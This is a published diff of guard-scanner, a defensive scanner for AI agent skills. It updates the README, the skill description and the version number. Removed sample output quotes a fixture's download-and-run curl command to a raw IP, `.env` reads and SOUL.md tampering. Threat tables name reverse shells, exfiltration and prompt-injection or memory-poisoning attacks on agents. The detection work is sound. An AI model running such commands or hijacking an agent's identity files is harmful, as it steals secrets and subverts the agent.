@guava-parity/guard-scanner 5.1.0 β†’ 8.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (10) hide show
  1. package/README.md +119 -130
  2. package/SKILL.md +43 -93
  3. package/package.json +2 -2
  4. package/src/asset-auditor.js +508 -0
  5. package/src/ci-reporter.js +135 -0
  6. package/src/cli.js +193 -77
  7. package/src/patterns.js +18 -0
  8. package/src/scanner.js +1 -1
  9. package/src/vt-client.js +202 -0
  10. package/src/watcher.js +170 -0
package/README.md CHANGED
@@ -2,25 +2,22 @@
2
2
 
3
3
  *The Original, Zero-Dependency Shield for the AI Agent Era.*
4
4
 
5
- As autonomous AI agents become more prevalent, the risk of executing untrusted or malicious skills increases. **guard-scanner** is an open-source, zero-dependency static and runtime security scanner designed to help protect developers' local machines from Prompt Injections, RCEs, and Memory Poisoning.
5
+ As autonomous AI agents become more prevalent, the risk of executing untrusted or malicious skills increases. **guard-scanner** is an open-source, zero-dependency security platform designed to protect developers from Prompt Injections, RCEs, Memory Poisoning, and supply chain attacks.
6
6
 
7
- Built collaboratively by the **[Guava Parity Institute](https://github.com/koatora20)** and the open-source community. We believe that AI safety infrastructure should be a shared, transparent, and accessible resource for everyone. We welcome contributions, feedback, and discussion from all developers!
7
+ Built by the **[Guava Parity Institute](https://github.com/koatora20)** and the open-source community.
8
8
 
9
- **150 static patterns + 26 runtime checks** across **23 threat categories**.
9
+ **166 static patterns + 26 runtime checks + asset audit + VirusTotal integration + real-time watch.**
10
10
 
11
- [![npm](https://img.shields.io/npm/v/guard-scanner)](https://www.npmjs.com/package/guard-scanner)
11
+ [![npm](https://img.shields.io/npm/v/@guava-parity/guard-scanner)](https://www.npmjs.com/package/@guava-parity/guard-scanner)
12
12
  [![license](https://img.shields.io/npm/l/guard-scanner)](LICENSE)
13
+ [![tests](https://img.shields.io/badge/tests-206%2F206-brightgreen)](#test-results)
13
14
 
14
15
  ## Install
15
16
 
16
17
  ```bash
17
- npm install -g guard-scanner
18
+ npm install -g @guava-parity/guard-scanner
18
19
  ```
19
20
 
20
- > **Why use this?** If you are experimenting with third-party skills for your AI agents, `guard-scanner` acts as a basic safety net, helping to identify hidden prompts or dangerous execution patterns.
21
- >
22
- > 🀝 **We need your help!**: The landscape of Agentic AI threats is evolving rapidly. We are maintaining this project out of goodwill to provide a baseline defense, but we rely on community contributions to keep our pattern database updated. If you find a false positive or a new threat vector, please consider opening an issue or a pull request!
23
-
24
21
  ## Quick Start
25
22
 
26
23
  ```bash
@@ -36,12 +33,10 @@ guard-scanner ./skills/ --format sarif --quiet | upload-sarif
36
33
 
37
34
  ## πŸ” Example Scan Output
38
35
 
39
- This is actual output from scanning a malicious test skill demonstrating data exfiltration, memory poisoning, and credential theft:
40
-
41
36
  ```console
42
37
  $ guard-scanner ./test/fixtures/malicious-skill/ --verbose
43
38
 
44
- πŸ›‘οΈ guard-scanner v5.0.5
39
+ πŸ›‘οΈ guard-scanner v8.0.0
45
40
  ══════════════════════════════════════════════════════
46
41
  πŸ“‚ Scanning: ./test/fixtures/malicious-skill/
47
42
  πŸ“¦ Skills found: 1
@@ -52,38 +47,84 @@ $ guard-scanner ./test/fixtures/malicious-skill/ --verbose
52
47
  πŸ“ malicious-code
53
48
  πŸ”΄ [HIGH] eval() call β€” evil.js:18
54
49
  πŸ’€ [CRITICAL] Shell download/execution β€” stealer.js:19
55
- └─ "exec(`curl https://91.92.242.30/payload -o /tmp/x && bash"
56
50
  πŸ“ credential-handling
57
51
  πŸ”΄ [HIGH] Credential file read β€” evil.js:6
58
- └─ "readFileSync('.env"
59
52
  πŸ’€ [CRITICAL] Agent identity file read β€” evil.js:7
60
- └─ "readFileSync('SOUL.md"
61
53
  πŸ“ memory-poisoning
62
54
  πŸ’€ [CRITICAL] Write to agent soul file β€” evil.js:21
63
- └─ "writeFileSync('SOUL.md"
64
- πŸ“ data-flow
65
- πŸ’€ [CRITICAL] Data flow: secret read (L6) β†’ network call (L10) β€” evil.js:6
55
+ ```
66
56
 
67
- ══════════════════════════════════════════════════════
68
- πŸ“Š guard-scanner Scan Summary
69
- ──────────────────────────────────────────────────────
70
- Scanned: 1
71
- 🟒 Clean: 0
72
- πŸ”΄ Malicious: 1
73
- Safety Rate: 0%
74
- ══════════════════════════════════════════════════════
75
- ⚠️ CRITICAL: 1 malicious skill(s) detected!
57
+ ## πŸ”Ž Asset Audit (V6+)
58
+
59
+ Audit your npm packages, GitHub repos, and ClawHub skills for leaked credentials and security exposure.
60
+
61
+ ```bash
62
+ # npm β€” detect leaked node_modules, .env files, scope duplicates
63
+ guard-scanner audit npm <username> --verbose
64
+
65
+ # GitHub β€” detect committed secrets, large repos, .env/.key files
66
+ guard-scanner audit github <username> --format json
67
+
68
+ # ClawHub β€” detect malicious skills, suspicious DL/star ratios
69
+ guard-scanner audit clawhub <query>
70
+
71
+ # All providers at once
72
+ guard-scanner audit all <username> --verbose
73
+ ```
74
+
75
+ ## 🦠 VirusTotal Integration (V7+)
76
+
77
+ Combine guard-scanner's semantic detection with VirusTotal's 70+ antivirus engines for **Double-Layered Defense**.
78
+
79
+ | Layer | Engine | Focus |
80
+ |---|---|---|
81
+ | **Semantic** | guard-scanner | Prompt injection, memory poisoning, supply chain |
82
+ | **Signature** | VirusTotal | Known malware, trojans, C2 infrastructure |
83
+
84
+ ```bash
85
+ # 1. Get free API key at https://www.virustotal.com (Β₯0)
86
+ # 2. Set environment variable
87
+ export VT_API_KEY=your-api-key-here
88
+
89
+ # 3. Use with any command
90
+ guard-scanner scan ./skills/ --vt-scan
91
+ guard-scanner audit npm koatora20 --vt-scan
92
+ ```
93
+
94
+ > **Free tier**: 4 req/min, 500/day, 15,500/month. Personal use only.
95
+ > **VT is optional** β€” guard-scanner works fully without it.
96
+
97
+ ## πŸ‘οΈ Real-time Watch Mode (V8+)
98
+
99
+ Monitor your skills directory for changes and scan automatically.
100
+
101
+ ```bash
102
+ # Start watching
103
+ guard-scanner watch ./skills/ --strict --verbose
104
+
105
+ # With Soul Lock protection
106
+ guard-scanner watch ./skills/ --strict --soul-lock
76
107
  ```
77
108
 
78
- ## πŸš€ Standalone Architecture
109
+ Press `Ctrl+C` for session stats.
110
+
111
+ ## πŸ“Š CI/CD Integration (V8+)
79
112
 
80
- **guard-scanner** is designed as a foundational "Shield" for the OpenClaw ecosystem.
81
- It features a **Standalone Boot Sequence**:
82
- - **Zero API/DB Dependencies**: It initializes purely from local, static Threat Patterns (147 regex rules) defined in its codebase.
83
- - **No Heavy Context Loading**: It does *not* require loading heavy memory databases or executing contextual commands.
84
- - **Privacy First**: It never accesses or exposes your agent's private memory during the boot phase.
113
+ Native support for CI/CD pipelines via `CIReporter`:
114
+
115
+ | Platform | Format |
116
+ |---|---|
117
+ | GitHub Actions | `::error` / `::warning` annotations + Step Summary |
118
+ | GitLab | Code Quality JSON report |
119
+ | Any | Webhook notification (HTTPS POST) |
120
+
121
+ ```bash
122
+ # GitHub Actions
123
+ guard-scanner ./skills/ --format sarif --quiet > report.sarif
85
124
 
86
- This lightweight initialization makes it perfect for zero-trust environments, ensuring complete safety without exposing proprietary agent logic.
125
+ # GitLab
126
+ guard-scanner ./skills/ --format json --quiet > gl-code-quality-report.json
127
+ ```
87
128
 
88
129
  ## Options
89
130
 
@@ -92,12 +133,13 @@ This lightweight initialization makes it perfect for zero-trust environments, en
92
133
  | `--verbose`, `-v` | Detailed findings with categories and samples |
93
134
  | `--strict` | Lower detection thresholds (more sensitive) |
94
135
  | `--check-deps` | Scan `package.json` for dependency chain risks |
95
- | `--soul-lock` | Enable agent identity protection (SOUL.md/MEMORY.md patterns) |
136
+ | `--soul-lock` | Enable agent identity protection |
137
+ | `--vt-scan` | Enable VirusTotal hash/URL/domain lookup |
96
138
  | `--json` | Write JSON report to file |
97
- | `--sarif` | Write SARIF 2.1.0 report (GitHub Code Scanning) |
139
+ | `--sarif` | Write SARIF 2.1.0 report |
98
140
  | `--html` | Write HTML dashboard report |
99
141
  | `--format json\|sarif` | Print to stdout (pipeable) |
100
- | `--quiet` | Suppress text output (use with `--format`) |
142
+ | `--quiet` | Suppress text output |
101
143
  | `--self-exclude` | Skip scanning guard-scanner itself |
102
144
  | `--summary-only` | Only print the summary table |
103
145
  | `--rules <file>` | Load custom detection rules (JSON) |
@@ -107,31 +149,28 @@ This lightweight initialization makes it perfect for zero-trust environments, en
107
149
  ## Threat Categories (23)
108
150
 
109
151
  | # | Category | Detects |
110
- |---|----------|---------|
111
- | 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs, XML tag injection |
112
- | 2 | Malicious Code | `eval()`, `child_process`, reverse shells, raw sockets |
113
- | 3 | Suspicious Downloads | `curl\|bash`, executable downloads, password-protected archives |
114
- | 4 | Credential Handling | `.env` reads, SSH keys, sudo in instructions |
115
- | 5 | Secret Detection | Hardcoded API keys, AWS keys, GitHub tokens, Shannon entropy |
116
- | 6 | Exfiltration | webhook.site, DNS tunneling, curl data exfil |
152
+ |---|----------|---------|
153
+ | 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs |
154
+ | 2 | Malicious Code | `eval()`, `child_process`, reverse shells |
155
+ | 3 | Suspicious Downloads | `curl\|bash`, executable downloads |
156
+ | 4 | Credential Handling | `.env` reads, SSH keys |
157
+ | 5 | Secret Detection | Hardcoded API keys, Shannon entropy |
158
+ | 6 | Exfiltration | webhook.site, DNS tunneling |
117
159
  | 7 | Unverifiable Deps | Remote dynamic imports |
118
- | 8 | Financial Access | Crypto transactions, payment APIs |
119
- | 9 | Obfuscation | Base64β†’exec, hex encoding, `String.fromCharCode` |
120
- | 10 | Prerequisites Fraud | Fake download/paste instructions |
121
- | 11 | Leaky Skills | Secrets saved in agent memory, verbatim in commands |
122
- | 12 | Memory Poisoning ⚿ | SOUL.md/MEMORY.md modification, behavioral rule override |
123
- | 13 | Prompt Worm | Self-replicating prompts, agent-to-agent propagation |
124
- | 14 | Persistence | Cron, launchd, startup execution |
125
- | 15 | CVE Patterns | CVE-2026-25253 (RCE), CVE-2026-25905 (Pyodide), CVE-2026-27825 (path traversal) |
126
- | 16 | MCP Security | Tool/schema poisoning, SSRF, shadow server registration |
127
- | 16b | Trust Boundary | Calendar/email/web β†’ code execution chains |
128
- | 16c | Advanced Exfiltration | ZombieAgent static URL arrays, drip exfil, beacon |
129
- | 16d | Safeguard Bypass | URL parameter injection, retry-on-block |
130
- | 17 | Identity Hijacking ⚿ | SOUL.md overwrite, persona swap, memory wipe |
131
- | 18 | Config Impact | `openclaw.json` writes, exec approval disabling |
132
- | 19 | PII Exposure | Hardcoded CC/SSN, PII logging, Shadow AI API calls |
133
- | 20 | Trust Exploitation | Authority claims, creator impersonation, fake audits |
134
- | 21 | VDB Injection | Vector database poisoning, embedding manipulation |
160
+ | 8 | Financial Access | Crypto transactions |
161
+ | 9 | Obfuscation | Base64β†’exec, hex encoding |
162
+ | 10 | Prerequisites Fraud | Fake download instructions |
163
+ | 11 | Leaky Skills | Secrets in memory |
164
+ | 12 | Memory Poisoning ⚿ | SOUL.md modification |
165
+ | 13 | Prompt Worm | Self-replicating prompts |
166
+ | 14 | Persistence | Cron, launchd |
167
+ | 15 | CVE Patterns | CVE-2026-2256/25046/25253/25905/27825 |
168
+ | 16 | MCP Security | Tool poisoning, SSRF, shadow servers |
169
+ | 17 | Identity Hijacking ⚿ | Persona swap, memory wipe |
170
+ | 18 | Config Impact | OpenClaw config writes |
171
+ | 19 | PII Exposure | CC/SSN, Shadow AI calls |
172
+ | 20 | Trust Exploitation | Authority claims, fake audits |
173
+ | 21 | VDB Injection | Vector DB poisoning |
135
174
 
136
175
  > ⚿ = Requires `--soul-lock` flag (opt-in)
137
176
 
@@ -141,60 +180,44 @@ Real-time `before_tool_call` hook that blocks dangerous operations.
141
180
 
142
181
  | Layer | Name | Checks |
143
182
  |-------|------|--------|
144
- | 1 | Threat Detection | Reverse shell, curl\|bash, SSRF, credential exfil |
183
+ | 1 | Threat Detection | Reverse shell, curl\|bash, SSRF |
145
184
  | 2 | Trust Defense | SOUL.md tampering, memory injection |
146
- | 3 | Safety Judge | Prompt injection in tool args, trust bypass |
185
+ | 3 | Safety Judge | Prompt injection in tool args |
147
186
  | 4 | Behavioral | No-research execution |
148
- | 5 | Trust Exploitation (ASI09) | Authority claim, creator bypass, fake audit |
149
-
150
- ```bash
151
- # Install as OpenClaw hook
152
- openclaw hooks install skills/guard-scanner/hooks/guard-scanner
153
- openclaw hooks enable guard-scanner
154
- ```
155
-
156
- Modes: `monitor` (log only) / `enforce` (block CRITICAL) / `strict` (block HIGH+CRITICAL)
157
-
158
- ## OWASP Mapping
159
-
160
- - **OWASP LLM Top 10 2025**: LLM01–LLM10 fully mapped
161
- - **OWASP Agentic Security Top 10**: ASI01–ASI10 coverage (tested)
187
+ | 5 | Trust Exploitation | Authority claim, creator bypass |
162
188
 
163
189
  ## Test Results
164
190
 
165
191
  ```
166
- β„Ή tests 136
167
- β„Ή suites 24
168
- β„Ή pass 136
192
+ β„Ή tests 206
193
+ β„Ή suites 43
194
+ β„Ή pass 206
169
195
  β„Ή fail 0
170
- β„Ή duration_ms 165
196
+ β„Ή duration_ms 376
171
197
  ```
172
198
 
173
199
  | Suite | Tests |
174
200
  |-------|-------|
175
201
  | Malicious Skill Detection | 16 βœ… |
176
202
  | Clean Skill (False Positive) | 2 βœ… |
177
- | Risk Score Calculation | 5 βœ… |
178
- | Verdict Determination | 5 βœ… |
203
+ | Risk Score / Verdict | 10 βœ… |
179
204
  | Output Formats (JSON/SARIF/HTML) | 4 βœ… |
180
- | Pattern Database (150 patterns, 23 categories) | 4 βœ… |
205
+ | Pattern DB (166 patterns, 23 cats) | 4 βœ… |
181
206
  | IoC Database | 5 βœ… |
182
207
  | Shannon Entropy | 2 βœ… |
183
- | Ignore Functionality | 1 βœ… |
184
- | Plugin API | 1 βœ… |
185
- | Skill Manifest Validation | 4 βœ… |
186
- | Code Complexity Metrics | 2 βœ… |
187
- | Report Noise Regression | 2 βœ… |
188
- | Config Impact Analysis | 4 βœ… |
189
- | PII Exposure Detection | 8 βœ… |
190
- | OWASP Agentic Security (ASI01–10) | 14 βœ… |
191
- | Runtime Guard (5 layers, 26 checks) | 25 βœ… |
192
- | CVE Detection (CVE-2026-25905, CVE-2026-27825) | 2 βœ… |
208
+ | Plugin API / Custom Rules | 2 βœ… |
209
+ | Skill Manifest | 4 βœ… |
210
+ | Code Complexity | 2 βœ… |
211
+ | Config / PII / OWASP | 26 βœ… |
212
+ | Runtime Guard (5 layers) | 25 βœ… |
213
+ | CVE Detection | 5 βœ… |
214
+ | **Asset Audit (npm/GitHub/ClawHub)** | **32 βœ…** |
215
+ | **VirusTotal Integration** | **20 βœ…** |
216
+ | **Watcher + CI/CD** | **15 βœ…** |
193
217
 
194
218
  ## Plugin API
195
219
 
196
220
  ```javascript
197
- // my-plugin.js
198
221
  module.exports = {
199
222
  name: 'my-plugin',
200
223
  patterns: [
@@ -207,43 +230,9 @@ module.exports = {
207
230
  guard-scanner ./skills/ --plugin ./my-plugin.js
208
231
  ```
209
232
 
210
- ## Custom Rules (JSON)
211
-
212
- ```json
213
- [
214
- {
215
- "id": "CUSTOM_001",
216
- "pattern": "dangerous_function\\(",
217
- "flags": "gi",
218
- "severity": "HIGH",
219
- "cat": "malicious-code",
220
- "desc": "Custom: dangerous function call",
221
- "codeOnly": true
222
- }
223
- ]
224
- ```
225
-
226
- ```bash
227
- guard-scanner ./skills/ --rules ./my-rules.json
228
- ```
229
-
230
- ## Output Formats
231
-
232
- - **Terminal** β€” Color-coded verdicts with risk scores
233
- - **JSON** β€” Machine-readable report (`--json`)
234
- - **SARIF 2.1.0** β€” GitHub Code Scanning / CI/CD (`--sarif`)
235
- - **HTML** β€” Visual dashboard (`--html`)
236
- - **stdout** β€” Pipeable output (`--format json|sarif --quiet`)
237
-
238
233
  ## Contributing
239
234
 
240
- We wholeheartedly welcome contributions! Guard-scanner is built on community knowledge.
241
-
242
- Whether you're fixing a bug, adding a new threat pattern, or simply improving the documentation, your help is deeply appreciated. Please see our [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on how to get started.
243
-
244
- ## Code of Conduct
245
-
246
- We are committed to fostering a welcoming, respectful, and harassment-free environment. Please read our [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) before participating in our community.
235
+ We welcome contributions! Whether fixing bugs, adding threat patterns, or improving docs.
247
236
 
248
237
  ## License
249
238
 
package/SKILL.md CHANGED
@@ -1,11 +1,12 @@
1
1
  ---
2
2
  name: guard-scanner
3
- description: "The #1 security scanner for AI agent skills on ClawHub. Scan skills for prompt injection, credential theft, exfiltration, malware, and 23 threat categories. 150 static patterns + 26 runtime checks. The most comprehensive skill scanner and security auditor for OpenClaw β€” zero dependencies, 0.016ms/scan."
3
+ description: "AI agent security platform. 166 static patterns + 26 runtime checks + npm/GitHub/ClawHub asset audit + VirusTotal integration + real-time file watch. Zero dependencies, 0.016ms/scan."
4
4
  metadata:
5
5
  clawdbot:
6
6
  homepage: "https://github.com/koatora20/guard-scanner"
7
7
  requires:
8
- env: {}
8
+ env:
9
+ VT_API_KEY: "Optional. VirusTotal API key for --vt-scan (free at virustotal.com)"
9
10
  files:
10
11
  - "dist/*"
11
12
  - "src/*"
@@ -13,129 +14,78 @@ files:
13
14
  - "openclaw.plugin.json"
14
15
  ---
15
16
 
16
- # guard-scanner πŸ›‘οΈ β€” The #1 Skill Scanner for AI Agent Security
17
+ # guard-scanner πŸ›‘οΈ
17
18
 
18
- The most comprehensive security scanner and skill auditor for OpenClaw agents.
19
- **150 static patterns + 26 runtime checks (5 layers)** across **23 threat categories**. The go-to scanner for protecting your AI agent workspace β€” zero dependencies, MIT licensed. **0.016ms/scan.**
19
+ 166 static patterns + 26 runtime checks (5 layers), 23 threat categories + asset audit + VirusTotal + real-time watch. Zero deps, MIT licensed.
20
20
 
21
- ## When To Use This Skill
21
+ ## When To Use
22
22
 
23
- - **Before installing a new skill** from ClawHub or any external source
24
- - **After updating skills** to check for newly introduced threats
25
- - **Periodically** to audit your installed skills
26
- - **In CI/CD** to gate skill deployments
23
+ - Before installing a new skill / After updating skills / In CI/CD pipelines
24
+ - Auditing npm/GitHub/ClawHub for leaked credentials
25
+ - Real-time monitoring during development
27
26
 
28
27
  ## Quick Start
29
28
 
30
- ### 1. Static Scan (Immediate)
31
-
32
- Scan all installed skills:
33
-
34
29
  ```bash
30
+ # Scan all skills
35
31
  npx guard-scanner ~/.openclaw/workspace/skills/ --verbose --self-exclude
36
- ```
37
-
38
- Scan a specific skill:
39
32
 
40
- ```bash
41
- npx guard-scanner /path/to/new-skill/ --strict --verbose
42
- ```
33
+ # Asset Audit (check npm/GitHub for leaks)
34
+ guard-scanner audit npm <your-npm-username> --verbose
35
+ guard-scanner audit github <your-github-username> --format json
36
+ guard-scanner audit all <username>
43
37
 
44
- ### 2. Runtime Guard (OpenClaw Plugin Hook)
38
+ # VirusTotal Double-Layered Defense (optional, free)
39
+ VT_API_KEY=your-key guard-scanner scan ./skills/ --vt-scan
45
40
 
46
- Blocks dangerous tool calls in real-time via `before_tool_call` hook. 26 checks, 5 layers, 3 enforcement modes.
41
+ # Real-time Watch Mode
42
+ guard-scanner watch ./skills/ --strict --verbose
47
43
 
48
- ```bash
49
- openclaw hooks install skills/guard-scanner/hooks/guard-scanner
50
- openclaw hooks enable guard-scanner
51
- openclaw hooks list
44
+ # CI/CD pipeline
45
+ guard-scanner ./skills/ --format sarif --quiet | upload-sarif
52
46
  ```
53
47
 
54
- ### 3. Recommended order
48
+ ## VirusTotal Integration
49
+
50
+ guard-scanner combines its own 166 semantic patterns with VirusTotal's 70+ antivirus engines for **Double-Layered Defense**:
51
+
52
+ | Layer | Engine | Focus |
53
+ |---|---|---|
54
+ | Semantic | guard-scanner | Prompt injection, memory poisoning, supply chain |
55
+ | Signature | VirusTotal | Known malware, trojans, C2 infrastructure |
55
56
 
56
57
  ```bash
57
- # Pre-install / pre-update gate first
58
- npx guard-scanner ~/.openclaw/workspace/skills/ --verbose --self-exclude --html
58
+ # Get your free API key at https://www.virustotal.com
59
+ # Set it as environment variable
60
+ export VT_API_KEY=your-api-key-here
59
61
 
60
- # Then keep runtime monitoring enabled
61
- openclaw hooks install skills/guard-scanner/hooks/guard-scanner
62
- openclaw hooks enable guard-scanner
62
+ # Use with any command
63
+ guard-scanner scan ./skills/ --vt-scan
64
+ guard-scanner audit npm koatora20 --vt-scan
63
65
  ```
64
66
 
65
- ## Runtime Guard Modes
67
+ Free tier: 4 req/min, 500/day, 15,500/month. VT is **optional** β€” guard-scanner works fully without it.
66
68
 
67
- Set in `openclaw.json` β†’ `plugins.guard-scanner.mode`:
69
+ ## Runtime Modes
68
70
 
69
71
  | Mode | Behavior |
70
72
  |------|----------|
71
73
  | `monitor` | Log all, never block |
72
- | `enforce` (default) | Block CRITICAL threats |
74
+ | `enforce` (default) | Block CRITICAL |
73
75
  | `strict` | Block HIGH + CRITICAL |
74
76
 
75
- ## Threat Categories (23)
76
-
77
- | # | Category | What It Detects |
78
- |---|----------|----------------|
79
- | 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs |
80
- | 2 | Malicious Code | eval(), child_process, reverse shells |
81
- | 3 | Suspicious Downloads | curl\|bash, executable downloads |
82
- | 4 | Credential Handling | .env reads, SSH key access |
83
- | 5 | Secret Detection | Hardcoded API keys and tokens |
84
- | 6 | Exfiltration | webhook.site, DNS tunneling |
85
- | 7 | Unverifiable Deps | Remote dynamic imports |
86
- | 8 | Financial Access | Crypto wallets, payment APIs |
87
- | 9 | Obfuscation | Base64β†’eval, String.fromCharCode |
88
- | 10 | Prerequisites Fraud | Fake download instructions |
89
- | 11 | Leaky Skills | Secret leaks through LLM context |
90
- | 12 | Memory Poisoning\* | Agent memory modification |
91
- | 13 | Prompt Worm | Self-replicating instructions |
92
- | 14 | Persistence | Cron jobs, startup execution |
93
- | 15 | CVE Patterns | CVE-2026-25253, CVE-2026-25905, CVE-2026-27825 |
94
- | 16 | MCP Security | Tool/schema poisoning, SSRF |
95
- | 17 | Identity Hijacking\* | SOUL.md/IDENTITY.md tampering |
96
- | 18 | Sandbox Validation | Dangerous binaries, broad file scope |
97
- | 19 | Code Complexity | Excessive file length, deep nesting |
98
- | 20 | Config Impact | openclaw.json writes, exec approval bypass |
99
- | 21 | PII Exposure | CC/SSN, PII logging, Shadow AI |
100
- | 22 | Trust Exploitation | Authority claims, creator impersonation |
101
- | 23 | VDB Injection | Vector database poisoning, embedding manipulation |
102
-
103
- \* = Requires `--soul-lock` flag
77
+ ## 23 Threat Categories
104
78
 
105
- ## External Endpoints
79
+ Prompt Injection, Malicious Code, Suspicious Downloads, Credential Handling, Secret Detection, Exfiltration, Unverifiable Deps, Financial Access, Obfuscation, Prerequisites Fraud, Leaky Skills, Memory Poisoning*, Prompt Worm, Persistence, CVE Patterns, MCP Security, Identity Hijacking*, Sandbox Validation, Code Complexity, Config Impact, PII Exposure, Trust Exploitation, VDB Injection.
106
80
 
107
- | URL | Data Sent | Purpose |
108
- |-----|-----------|---------|
109
- | *(none)* | *(none)* | guard-scanner makes **zero** network requests. All scanning is local. |
81
+ \* = Requires `--soul-lock` flag
110
82
 
111
83
  ## Security & Privacy
112
84
 
113
- - **No network access**: guard-scanner never connects to external servers
114
- - **Read-only scanning**: Only reads files, never modifies scanned directories
115
- - **No telemetry**: No usage data, analytics, or crash reports are collected
116
- - **Local reports only**: Output files (JSON/SARIF/HTML) are written to the scan directory
117
- - **No environment variable access**: Does not read or process any secrets or API keys
118
- - **Runtime Guard audit log**: Detections logged locally to `~/.openclaw/guard-scanner/audit.jsonl`
119
-
120
- ## Model Invocation Note
121
-
122
- guard-scanner **does not invoke any LLM or AI model**. All detection is performed
123
- through static pattern matching, regex analysis, Shannon entropy calculation,
124
- and data flow analysis β€” entirely deterministic, no model calls.
125
-
126
- ## Trust Statement
127
-
128
- guard-scanner was created by Guava 🍈 & Dee after experiencing a real 3-day
129
- identity hijack incident in February 2026. A malicious skill silently replaced
130
- an AI agent's SOUL.md personality file, and no existing tool could detect it.
85
+ Zero network requests (unless `--vt-scan`). Read-only scanning. No telemetry. No env access. Deterministic. Your VT API key stays local.
131
86
 
132
- - **Open source**: https://github.com/koatora20/guard-scanner
133
- - **Zero dependencies**: Nothing to audit, no transitive risks
134
- - **Test suite**: 139 tests across 24 suites, 100% pass rate
135
- - **Taxonomy**: Based on Snyk ToxicSkills (Feb 2026), OWASP MCP Top 10, and original research
136
- - **OWASP**: ASI01–ASI10 coverage 90% (9/10 verified)
137
- - **CVE coverage**: CVE-2026-2256, CVE-2026-25046, CVE-2026-25253, CVE-2026-25905, CVE-2026-27825
87
+ ## Trust
138
88
 
139
- ## License
89
+ Open source, zero deps, **206 tests / 43 suites** 100% pass. OWASP LLM Top 10 + Agentic Security Top 10 coverage.
140
90
 
141
91
  MIT β€” [LICENSE](LICENSE)
package/package.json CHANGED
@@ -1,11 +1,11 @@
1
1
  {
2
2
  "name": "@guava-parity/guard-scanner",
3
- "version": "5.1.0",
3
+ "version": "8.0.0",
4
4
  "publishConfig": {
5
5
  "access": "public",
6
6
  "registry": "https://registry.npmjs.org/"
7
7
  },
8
- "description": "Agent security scanner + runtime guard β€” 150 static patterns (23 categories), 26 runtime checks (5 layers), 0.016ms/scan, before_tool_call hook, CLI, SARIF. OpenClaw-compatible plugin.",
8
+ "description": "Agent security scanner + asset audit platform β€” 166 static patterns (23 categories), 26 runtime checks (5 layers), npm/GitHub/ClawHub asset auditing, 0.016ms/scan, before_tool_call hook, CLI, SARIF. OpenClaw-compatible plugin.",
9
9
  "openclaw.extensions": "./openclaw.plugin.json",
10
10
  "openclaw.hooks": {
11
11
  "guard-scanner": "./hooks/guard-scanner"